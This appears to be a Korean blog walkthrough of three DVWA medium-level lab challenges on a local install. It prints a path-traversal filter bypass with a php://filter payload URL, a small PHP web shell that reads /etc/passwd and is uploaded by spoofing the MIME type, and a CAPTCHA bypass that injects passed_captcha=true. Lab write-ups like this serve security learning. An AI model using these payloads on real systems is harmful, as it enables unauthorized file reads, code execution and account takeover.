DVWA(medium) - File Inclusion, File Upload, Insecure CAPTCHA
1. File Inclusion
low와의 차이점부터 알아보자!
source코드를 보면 low 때 사용했던 ../와 ..\ \등을 필터링하는 것을 알 수 있다. 그러나 이것은 쉽게 해결할 수 있다.
....//이렇게 작성한다면 ..***/(*은 필터링 된 자리) 필터링이 된 *을 제외하면 ../가 남는다.
이때까지 몰랐다.. dvwa의 맨 하단에 보면 이 문제의 목표가 있다는 것을... 하.. 지금까지 내 맘대로 해석하여 풀었구나 싶어서 남은 문제들에 목표에 최선을 다하여 만족하게 풀어보도록 하겠다...
해석해보면 ../hackable/flags/fi.php에 있는 5개의 인용문 모두를 오직 file inclusion으로만 읽는 것이 목표이다.
우선 ....//....// 로 ../필터링을 우회하여 1번, 2번, 4번을 찾았다. 3번 5번은 쉽게 보여주지 않을 생각인가보다.
그래서 페이지의 소스코드부터 확인해보았다.
5번은 주석처리가 되어 있으니 확인했고 3번 은 Line은 히든으로 숨겨져있다한다. 아무런 정보가 없어서 목표 밑에 나와있었던 힌트를 보고 구글링을 통해 php filter를 사용하면 될 것임을 알 수 있었다.
http://localhost/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=....//....//hackable/flags/fi.php
url에 위와같이 뒷 부분을 입력했을 때
PD9waHAKCmlmKCAhZGVmaW5lZCggJ0RWV0FfV0VCX1BBR0VfVE9fUk9PVCcgKSApIHsKCWV4aXQgKCJOaWNlIHRyeSA7LSkuIFVzZSB0aGUgZmlsZSBpbmNsdWRlIG5leHQgdGltZSEiKTsKfQoKPz4KCjEuKSBCb25kLiBKYW1lcyBCb25kCgo8P3BocAoKZWNobyAiMi4pIE15IG5hbWUgaXMgU2hlcmxvY2sgSG9sbWVzLiBJdCBpcyBteSBidXNpbmVzcyB0byBrbm93IHdoYXQgb3RoZXIgcGVvcGxlIGRvbid0IGtub3cuXG5cbjxiciAvPjxiciAvPlxuIjsKCiRsaW5lMyA9ICIzLikgUm9tZW8sIFJvbWVvISBXaGVyZWZvcmUgYXJ0IHRob3UgUm9tZW8/IjsKJGxpbmUzID0gIi0tTElORSBISURERU4gOyktLSI7CmVjaG8gJGxpbmUzIC4gIlxuXG48YnIgLz48YnIgLz5cbiI7CgokbGluZTQgPSAiTkM0cEkiIC4gIkZSb1pTQndiMjlzIiAuICJJRzl1SUgiIC4gIlJvWlNCeWIyOW1JRzEiIC4gIjFjM1FnYUdGIiAuICIyWlNCaCIgLiAiSUd4bFkiIC4gIldzdSI7CmVjaG8gYmFzZTY0X2RlY29kZSggJGxpbmU0ICk7Cgo/PgoKPCEtLSA1LikgVGhlIHdvcmxkIGlzbid0IHJ1biBieSB3ZWFwb25zIGFueW1vcmUsIG9yIGVuZXJneSwgb3IgbW9uZXkuIEl0J3MgcnVuIGJ5IGxpdHRsZSBvbmVzIGFuZCB6ZXJvZXMsIGxpdHRsZSBiaXRzIG9mIGRhdGEuIEl0J3MgYWxsIGp1c3QgZWxlY3Ryb25zLiAtLT4K
위와 같은 내용을 볼 수 있다. 위에서 얻은 내용을 base64로 디코딩을 하면!
<?php
if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {
exit ("Nice try ;-). Use the file include next time!");
}
?>
1.) Bond. James Bond
<?php
echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";
$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?";
$line3 = "--LINE HIDDEN ;)--";
echo $line3 . "\n\n<br /><br />\n";
$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu";
echo base64_decode( $line4 );
?>
<!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->
위와 같은 내용을 확인할 수 있다! 지금까지 잘못된 목표를 갖고 풀은 문제도 있는 것 같아서 속상하지만 지금이라도 제대로 된 목표로 문제를 풀은 것 같아 개운한 기분이 들기도 한다...나머지 문제들도 정확한 목표를 갖고 나아가자!
2. File Upload
파일 업로드 취약점을 이용해서 대상 시스템에서 선택한 PHP 기능(예: phpinfo() 또는 system())을 실행해라!
low때와 달라진 점을 확인하기위해 소스코드부터 확인해보자.
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
// Is it an image? 를 보면 알 수 있듯이. image/jpeg 또는 image/png 그리고 크기가 100000미만인 파일만 업로드 할 수 있었다.
이미지가 아닌 파일을 업로드하면 위와 같이 빨간 문구가 뜬다. low때 만들어 놨던 slowturtle.php파일을 이용해보겠다.
slowturtle.php 내용은 아래와 같다. cat명령어로 /etc/passwd를 읽는다.
<?php
system("cd ../../../../ && cat /etc/passwd")
?>
프록시로 업로드 과정을 가로채서 확인해봤다. 밑줄 친 곳이 업로드되는 파일의 종류(확장자)를 확인하는 부분을 알 수 있었다. 밑줄 친 부분을 image/jpeg로 변경하여 보냈다.
성공적으로 업로드 된 것을 확인할 수 있다.
3. Insecure CAPTCHA
CAPTCHA 인증을 하지 않고 현재 유저의 비밀번호를 변경해라.
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
위는 step 1 과정에 있는 소스 중 일부이다. step1에서 captcha를 체크하지 못했다면 The CAPTCHA was incorrect. Please try again.이라는 문구가 뜰 것이다. 그러면 low때처럼 개발자도구 또는 버프슈트로 step1을 step2로 변경해본 후 반응을 확인해보았다.
You have not passed the CAPTCHA.라는 문구를 받을 수 있었다. 그럼 step2과정의 소스코드를 확인해보자.
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
위 코드를 보면 알 수 있듯이 hide_form이 true여야한다. 더 내려가 코드를 봤을 때 step1에서 step2로 변경하는 것을 방지하기 위함을 알 수 있었다. 그러면 hide_form을 true임으로 인식하기위해 버프슈트를 이용하여 passed_captcha=true라는 문구를 이용하여 보내보자.
위와 같이 변조하여 보냈을 때
성공적으로 비밀번호가 변경되었음을 확인할 수 있다.